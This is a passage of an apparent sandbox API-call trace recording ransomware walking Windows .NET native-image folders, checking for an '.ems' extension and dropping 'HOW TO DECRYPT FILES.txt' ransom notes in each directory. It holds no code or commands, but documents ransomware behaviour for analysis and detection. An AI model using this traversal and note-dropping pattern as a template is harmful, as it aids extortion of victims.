returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\System.Runtime.Serialization.Formatters.Soap.ni.dll" [0120.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\System.Runtime.Serialization.Formatters.Soap.ni.dll", pszSpec="*.ems") returned 0 [0120.663] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76432a70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x76432a70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x76432a70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.Formatters.Soap.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0120.663] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.663] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Runtime.Serialization.Formatters.Soap.ni.dll.aux") returned -1 [0120.663] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Runtime.Serialization.Formatters.Soap.ni.dll.aux") returned -1 [0120.663] lstrcmpiA (lpString1="", lpString2="System.Runtime.Serialization.Formatters.Soap.ni.dll.aux") returned -1 [0120.663] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\System.Runtime.Serialization.Formatters.Soap.ni.dll") returned="System.Runtime.Serialization.Formatters.Soap.ni.dll" [0120.663] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\" [0120.663] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\") returned="" [0120.663] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\HOW TO DECRYPT FILES.txt" [0120.663] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\how to decrypt files.txt")) returned 0x20 [0120.663] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\", lpString2="System.Runtime.Serialization.Formatters.Soap.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\System.Runtime.Serialization.Formatters.Soap.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\System.Runtime.Serialization.Formatters.Soap.ni.dll.aux" [0120.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\System.Runtime.Serialization.Formatters.Soap.ni.dll.aux", pszSpec="*.ems") returned 0 [0120.664] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76432a70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x76432a70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x76432a70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.Formatters.Soap.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0120.664] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0120.664] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7640c910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x76432a70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x76432a70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2bcb9d5e9dfab75d491d144f711008cf", cAlternateFileName="2BCB9D~1")) returned 0 [0120.664] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0120.664] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa16353b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa16353b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa16353b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x787561, dwReserved1=0x740073, cFileName="System.Runt93d54979#", cAlternateFileName="SYDF79~1.RUN")) returned 1 [0120.664] lstrcmpA (lpString1=".", lpString2="System.Runt93d54979#") returned -1 [0120.664] lstrcmpA (lpString1="..", lpString2="System.Runt93d54979#") returned -1 [0120.664] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0120.664] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Runt93d54979#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#" [0120.665] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa16353b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa16353b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa16353b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0120.686] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.686] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa16353b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa16353b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa16353b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.686] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.686] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.686] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa16353b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa16353b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa16353b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="662cd57946ab3a775b7410b88bdf465a", cAlternateFileName="662CD5~1")) returned 1 [0120.686] lstrcmpA (lpString1=".", lpString2="662cd57946ab3a775b7410b88bdf465a") returned -1 [0120.686] lstrcmpA (lpString1="..", lpString2="662cd57946ab3a775b7410b88bdf465a") returned -1 [0120.686] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\*.*") returned="*.*" [0120.686] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\", lpString2="662cd57946ab3a775b7410b88bdf465a" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a" [0120.687] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa16353b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa16353b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa16353b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0120.692] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.692] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa16353b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa16353b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa16353b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.692] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.692] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.692] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa160f250, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa160f250, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa16353b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x7ea00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Runtime.DurableInstancing.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0120.692] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.692] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Runtime.DurableInstancing.ni.dll") returned -1 [0120.692] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Runtime.DurableInstancing.ni.dll") returned -1 [0120.692] lstrcmpiA (lpString1="", lpString2="System.Runtime.DurableInstancing.ni.dll") returned -1 [0120.692] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\*.*") returned="*.*" [0120.692] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\" [0120.692] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\") returned="" [0120.693] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\HOW TO DECRYPT FILES.txt" [0120.693] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\how to decrypt files.txt")) returned 0xffffffff [0120.693] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0120.696] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0120.696] CloseHandle (hObject=0x90) returned 1 [0120.696] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\", lpString2="System.Runtime.DurableInstancing.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\System.Runtime.DurableInstancing.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\System.Runtime.DurableInstancing.ni.dll" [0120.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\System.Runtime.DurableInstancing.ni.dll", pszSpec="*.ems") returned 0 [0120.697] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa16353b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa16353b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa16353b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.DurableInstancing.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0120.697] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.697] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Runtime.DurableInstancing.ni.dll.aux") returned -1 [0120.697] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Runtime.DurableInstancing.ni.dll.aux") returned -1 [0120.697] lstrcmpiA (lpString1="", lpString2="System.Runtime.DurableInstancing.ni.dll.aux") returned -1 [0120.697] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\System.Runtime.DurableInstancing.ni.dll") returned="System.Runtime.DurableInstancing.ni.dll" [0120.697] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\" [0120.697] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\") returned="" [0120.697] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\HOW TO DECRYPT FILES.txt" [0120.697] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\how to decrypt files.txt")) returned 0x20 [0120.698] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\", lpString2="System.Runtime.DurableInstancing.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\System.Runtime.DurableInstancing.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\System.Runtime.DurableInstancing.ni.dll.aux" [0120.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\System.Runtime.DurableInstancing.ni.dll.aux", pszSpec="*.ems") returned 0 [0120.698] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa16353b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa16353b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa16353b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.DurableInstancing.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0120.698] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0120.698] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa16353b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa16353b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa16353b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="662cd57946ab3a775b7410b88bdf465a", cAlternateFileName="662CD5~1")) returned 0 [0120.698] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0120.699] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c6b9710, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8c6b9710, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8c6b9710, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Runteb92aa12#", cAlternateFileName="SYSTEM~4.RUN")) returned 1 [0120.699] lstrcmpA (lpString1=".", lpString2="System.Runteb92aa12#") returned -1 [0120.699] lstrcmpA (lpString1="..", lpString2="System.Runteb92aa12#") returned -1 [0120.699] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0120.699] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Runteb92aa12#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#" [0120.699] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c6b9710, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8c6b9710, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8c6b9710, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0120.704] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.704] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c6b9710, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8c6b9710, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8c6b9710, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.705] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.705] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.705] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c6b9710, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8c6b9710, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8c6b9710, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10ac1ee8f5a49497e507e508ff64e21f", cAlternateFileName="10AC1E~1")) returned 1 [0120.705] lstrcmpA (lpString1=".", lpString2="10ac1ee8f5a49497e507e508ff64e21f") returned -1 [0120.705] lstrcmpA (lpString1="..", lpString2="10ac1ee8f5a49497e507e508ff64e21f") returned -1 [0120.705] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\*.*") returned="*.*" [0120.705] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\", lpString2="10ac1ee8f5a49497e507e508ff64e21f" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f" [0120.705] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c6b9710, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8c6b9710, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8c6b9710, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0120.718] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.718] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c6b9710, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8c6b9710, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8c6b9710, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.718] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.718] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.718] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c66d450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8c66d450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8c6df870, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x32f200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Runtime.Serialization.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0120.719] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.719] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Runtime.Serialization.ni.dll") returned -1 [0120.719] 